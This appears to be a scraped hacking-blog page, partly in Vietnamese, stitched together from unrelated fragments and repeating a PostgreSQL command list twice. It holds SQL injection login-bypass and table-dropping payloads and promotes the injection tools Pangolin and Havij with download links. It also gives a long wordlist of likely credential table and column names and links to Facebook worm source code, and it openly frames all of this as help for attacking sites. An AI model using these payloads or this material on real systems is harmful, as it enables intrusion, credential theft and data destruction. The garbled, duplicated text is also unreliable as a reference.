There were some interesting entries in the password manager which we think are worth sharing
# Notepad – Dude, now please let everyone know where you keep this notepadFew more products came into light which were not in our initial list
# PGP encrypted file
# Winrar SXF
# Draft in gmail
# 1PasswordPro
# PasswordCard-
# Xmarks – still???
# PasswordSafe
http://clubhack.com/favorite-password-manager/
 GooglePasswordDecryptor is the FREE software to instantly recover stored Google account passwords by various Google applications as well as popular web browsers and messengers. Most of the Google's desktop applications such as GTalk, Picassa etc store the Google account passwords to prevent hassale of entering the password everytime for the user. Even the web browsers and messengers store the login passwords including Google account passwords in an encrypted format. GooglePasswordDecryptor automatically crawls through each of these applications and recovers the encrypted Google account password in clear text. | |
|
‘OR ” = ‘ Allows authentication without a valid username.
admin’– Authenticate as user admin without a password.
‘ union select 1, ‘user’, ‘pass’ 1– Requires knowledge of column names.
‘; drop table users– DANGEROUS! this will delete the user database if the table name is ‘users’.
ABORT — abort the current transaction
ALTER DATABASE — change a database
ALTER GROUP — add users to a group or remove users from a group
ALTER TABLE — change the definition of a table
ALTER TRIGGER — change the definition of a trigger
ALTER USER — change a database user account
ANALYZE — collect statistics about a database
BEGIN — start a transaction block
CHECKPOINT — force a transaction log checkpoint
CLOSE — close a cursor
CLUSTER — cluster a table according to an index
COMMENT — define or change the comment of an object
COMMIT — commit the current transaction
COPY — copy data between files and tables
CREATE AGGREGATE — define a new aggregate function
CREATE CAST — define a user-defined cast
CREATE CONSTRAINT TRIGGER — define a new constraint trigger
CREATE CONVERSION — define a user-defined conversion
CREATE DATABASE — create a new database
CREATE DOMAIN — define a new domain
CREATE FUNCTION — define a new function
CREATE GROUP — define a new user group
CREATE INDEX — define a new index
CREATE LANGUAGE — define a new procedural language
CREATE OPERATOR — define a new operator
CREATE OPERATOR CLASS — define a new operator class for indexes
CREATE RULE — define a new rewrite rule
CREATE SCHEMA — define a new schema
CREATE SEQUENCE — define a new sequence generator
CREATE TABLE — define a new table
CREATE TABLE AS — create a new table from the results of a query
CREATE TRIGGER — define a new trigger
CREATE TYPE — define a new data type
CREATE USER — define a new database user account
CREATE VIEW — define a new view
DEALLOCATE — remove a prepared query
DECLARE — define a cursor
DELETE — delete rows of a table
DROP AGGREGATE — remove a user-defined aggregate function
DROP CAST — remove a user-defined cast
DROP CONVERSION — remove a user-defined conversion
DROP DATABASE — remove a database
DROP DOMAIN — remove a user-defined domain
DROP FUNCTION — remove a user-defined function
DROP GROUP — remove a user group
DROP INDEX — remove an index
DROP LANGUAGE — remove a user-defined procedural language
DROP OPERATOR — remove a user-defined operator
DROP OPERATOR CLASS — remove a user-defined operator class
DROP RULE — remove a rewrite rule
DROP SCHEMA — remove a schema
DROP SEQUENCE — remove a sequence
DROP TABLE — remove a table
DROP TRIGGER — remove a trigger
DROP TYPE — remove a user-defined data type
DROP USER — remove a database user account
DROP VIEW — remove a view
END — commit the current transaction
EXECUTE — execute a prepared query
EXPLAIN — show the execution plan of a statement
FETCH — retrieve rows from a table using a cursor
GRANT — define access privileges
INSERT — create new rows in a table
LISTEN — listen for a notification
LOAD — load or reload a shared library file
LOCK — explicitly lock a table
MOVE — position a cursor on a specified row of a table
NOTIFY — generate a notification
PREPARE — create a prepared query
REINDEX — rebuild corrupted indexes
RESET — restore the value of a run-time parameter to a default value
REVOKE — remove access privileges
ROLLBACK — abort the current transaction
SELECT — retrieve rows from a table or view
SELECT INTO — create a new table from the results of a query
SET — change a run-time parameter
SET CONSTRAINTS — set the constraint mode of the current transaction
SET SESSION AUTHORIZATION — set the session user identifier and the current user identifier of the current session
SET TRANSACTION — set the characteristics of the current transaction
SHOW — show the value of a run-time parameter
START TRANSACTION — start a transaction block
TRUNCATE — empty a table
UNLISTEN — stop listening for a notification
UPDATE — update rows of a table
VACUUM — garbage-collect and optionally analyze a database
show processlist — view running process
admin’– Authenticate as user admin without a password.
‘ union select 1, ‘user’, ‘pass’ 1– Requires knowledge of column names.
‘; drop table users– DANGEROUS! this will delete the user database if the table name is ‘users’.
ABORT — abort the current transaction
ALTER DATABASE — change a database
ALTER GROUP — add users to a group or remove users from a group
ALTER TABLE — change the definition of a table
ALTER TRIGGER — change the definition of a trigger
ALTER USER — change a database user account
ANALYZE — collect statistics about a database
BEGIN — start a transaction block
CHECKPOINT — force a transaction log checkpoint
CLOSE — close a cursor
CLUSTER — cluster a table according to an index
COMMENT — define or change the comment of an object
COMMIT — commit the current transaction
COPY — copy data between files and tables
CREATE AGGREGATE — define a new aggregate function
CREATE CAST — define a user-defined cast
CREATE CONSTRAINT TRIGGER — define a new constraint trigger
CREATE CONVERSION — define a user-defined conversion
CREATE DATABASE — create a new database
CREATE DOMAIN — define a new domain
CREATE FUNCTION — define a new function
CREATE GROUP — define a new user group
CREATE INDEX — define a new index
CREATE LANGUAGE — define a new procedural language
CREATE OPERATOR — define a new operator
CREATE OPERATOR CLASS — define a new operator class for indexes
CREATE RULE — define a new rewrite rule
CREATE SCHEMA — define a new schema
CREATE SEQUENCE — define a new sequence generator
CREATE TABLE — define a new table
CREATE TABLE AS — create a new table from the results of a query
CREATE TRIGGER — define a new trigger
CREATE TYPE — define a new data type
CREATE USER — define a new database user account
CREATE VIEW — define a new view
DEALLOCATE — remove a prepared query
DECLARE — define a cursor
DELETE — delete rows of a table
DROP AGGREGATE — remove a user-defined aggregate function
DROP CAST — remove a user-defined cast
DROP CONVERSION — remove a user-defined conversion
DROP DATABASE — remove a database
DROP DOMAIN — remove a user-defined domain
DROP FUNCTION — remove a user-defined function
DROP GROUP — remove a user group
DROP INDEX — remove an index
DROP LANGUAGE — remove a user-defined procedural language
DROP OPERATOR — remove a user-defined operator
DROP OPERATOR CLASS — remove a user-defined operator class
DROP RULE — remove a rewrite rule
DROP SCHEMA — remove a schema
DROP SEQUENCE — remove a sequence
DROP TABLE — remove a table
DROP TRIGGER — remove a trigger
DROP TYPE — remove a user-defined data type
DROP USER — remove a database user account
DROP VIEW — remove a view
END — commit the current transaction
EXECUTE — execute a prepared query
EXPLAIN — show the execution plan of a statement
FETCH — retrieve rows from a table using a cursor
GRANT — define access privileges
INSERT — create new rows in a table
LISTEN — listen for a notification
LOAD — load or reload a shared library file
LOCK — explicitly lock a table
MOVE — position a cursor on a specified row of a table
NOTIFY — generate a notification
PREPARE — create a prepared query
REINDEX — rebuild corrupted indexes
RESET — restore the value of a run-time parameter to a default value
REVOKE — remove access privileges
ROLLBACK — abort the current transaction
SELECT — retrieve rows from a table or view
SELECT INTO — create a new table from the results of a query
SET — change a run-time parameter
SET CONSTRAINTS — set the constraint mode of the current transaction
SET SESSION AUTHORIZATION — set the session user identifier and the current user identifier of the current session
SET TRANSACTION — set the characteristics of the current transaction
SHOW — show the value of a run-time parameter
START TRANSACTION — start a transaction block
TRUNCATE — empty a table
UNLISTEN — stop listening for a notification
UPDATE — update rows of a table
VACUUM — garbage-collect and optionally analyze a database
show processlist — view running process
- Works with even SSL i.e https
- Faster Approach
- Concat must be compulsary like this: concat(0x7375626861736864617379616d2e636f6d,0x3a,USERNAME_COLUMN,0x3a,PASSWORD_COLUMN,0x7375626861736864617379616d2e636f6d)
- And at end of the URL u need to have limit+ this is compulsary
- Added Start Count
- Fixed Bug
- Added Cookie Support
Home page: http://scan.subhashdasyam.com/dumper.php
Đọc kỹ hướng dẫn sử dụng trước khi dùng :))
Nếu bạn muốn dụng tool offline thì Havij hoặc Pangolin :))
Pangolin is a penetration testing, SQL Injection test tool on database security. It finds SQL Injection vulnerabitlities.Its goal is to detect and take advantage of SQL injection vulnerabilities on web applications. Once it detects one or more SQL injections on the target host, the user can choose among a variety of options to perform an extensive back-end database management system fingerprint, retrieve DBMS session user and database, enumerate users, password hashes, privileges, databases, dump entire or user”s specific DBMS tables/columns, run his own SQL statement, read specific files on the file system and more.”
Pangolin release notes:
1. Enhanced ability to Inject.
2. Enhanced Auto-Analyzed Keywords function accuracy.
3. Add ability to auto dump table and column. (This function will not re-dump data when data exist in Table view).
4. Fixed issue of garbled Auto-Analyzed Keywords when SQL Injection point bee loaded.
5. Fixed http header "Content-Length" issue. Auto delete this parameter.
6. Fixed issue of Table view.
7. Fixed issue of load from.
8. Fixed issue of Cookie Injection when valued contains "=".
Download: Bản 3.2.3.1105 http://down3.nosec.org/pangolin_free_edition_3.2.3.1105.zip
Có lẽ đây là quan trọng nhất:
Columns
aboutTables
access
accnt
accnts
account
accounts
admin
admin_id
admin_name
admin_pass
admin_passwd
admin_password
admin_pwd
admin_user
admin_userid
admin_username
adminemail
adminid
administrator
administrator_name
administrators
adminlogin
adminmail
adminname
adminpass
adminpassword
adminpaw
adminpwd
admins
AdminUID
adminuser
adminuserid
adminusername
aid
aim
apwd
auid
auth
authenticate
authentication
blog
cc_expires
cc_number
cc_owner
cc_type
cfg
cid
client
clientname
clientpassword
clients
clientusername
conf
config
contact
converge_pass_hash
converge_pass_salt
crack
customer
customers
customers_email_address
customers_password
cvvnumber]
data
db_database_name
db_hostname
db_password
db_username
download
e_mail
emailaddress
emer
emni
emniplote
emri
fjalekalimi
fjalekalimin
full
gid
group
group_name
hash
hashsalt
homepage
icq
icq_number
id
id_group
id_member
images
ime
index
ip_address
ipaddress
kodi
korisnici
korisnik
kpro_user
last_ip
last_login
lastname
llogaria
log
login
login_admin
login_name
login_pass
login_passwd
login_password
login_pw
login_pwd
login_user
login_username
logini
loginkey
loginout
logins
logo
logohu
lozinka
md5hash
mem_login
mem_pass
mem_passwd
mem_password
mem_pwd
member
member_login_key
member_name
memlogin
mempassword
mima
my_email
my_name
my_password
my_username
myname
mypassword
myusername
name
nc
new
news
nick
number
nummer
p_assword
p_word
pass
pass_hash
pass_w
pass_word
pass1word
passw
passwd
password
passwordsalt
passwort
passwrd
perdorimi
perdoruesi
personal_key
phone
privacy
psw
punetoret
punonjes
pw
pwd
pword
pwrd
salt
sb_admin_name
sb_pwd
search
secretanswer
secretquestion
serial
session_member_id
session_member_login_key
sesskey
setting
sid
sifra
spacer
status
store
store1
store2
store3
store4
table_prefix
temp_pass
temp_password
temppass
temppasword
text
u_name
uid
un
uname
user
user_admin
user_email
user_icq
user_id
user_ip
user_level
user_login
user_n
user_name
user_pass
user_passw
user_passwd
user_password
user_pw
user_pwd
user_pword
user_pwrd
user_un
user_uname
user_username
user_usernm
user_usernun
user_usrnm
user1
useradmin
userid
userip
userlogin
usern
username
usernm
userpass
userpassword
userpw
userpwd
users
usr
usr_n
usr_name
usr_pass
usr2
usrn
usrnam
usrname
usrnm
usrpass
usrs
warez
wp_users
xar_name
xar_pass
a_admin
account
accounts
ACT_INFO
adm
admin
admin_user
admin_userinfo
administrator
adminuser
art
article_admin
bbs
book
clubconfig
company
config
dbadmins
info
login
login_admin
login_admins
login_user
login_users
logins
lost_pass
lost_passwords
lostpass
lostpasswords
m_admin
manage
manager
member
memberlist
members
movie
movies
news
password
pwd
pwds
reguser
sb_host_admin
superuser
sysadmin
sysadmins
sysuser
sysusers
tb_admin
tb_administrator
tb_login
tb_member
tb_members
tb_user
tb_username
tb_usernames
tb_users
tbl_user
tbl_users
tbladmins
tblclients
tblservers
tbluser
user
user_admin
user_info
user_list
user_login
user_logins
user_names
userinfo
userlist
username
usernames
userrights
users
webadmin
webadmins
Webmaster
Webuser
x_admin
Như vậy, ngoài Havij, Pangolin là công cụ tro giúp cho việc tấn công bằng SQL Inject được nhanh chóng hơn :)) . Và, chúng ta nhận thấy 1 điều rằng :)). Điều quan trọng trong 2 tool này chính là cơ sở dữ liệu về Table và Columns. Biết đâu có cái bảng như này :)). Table name: Bang_admin , Các columns là: ten,email,matkhau :))
Hướng dẫn sử dụng: http://itsecteam.com/files/havij/havij_help-english.pdf
Lưu ý:Tool có thể chứa mã độcMuốn hiểu bản chất của vấn đề thì nên đọc tài liệu cơ bản :)).
1. Advand SQL Inject
2. introduction-to-sql-injection
Với tin "Osama bin laden bị giết" trở thành tâm điểm của báo chí thời gian vừa qua, đặc biệt, là cơ hội để các tay phát tán virus lợi dụng
Đây là soucecode của Worm trên facebook:
Đây là soucecode của Worm trên facebook:
Download Full source code: http://pastebin.com/uk0NZ758
Link mediafire: http://www.mediafire.com/?39jhbl9072sbqox
Source: pentestit.com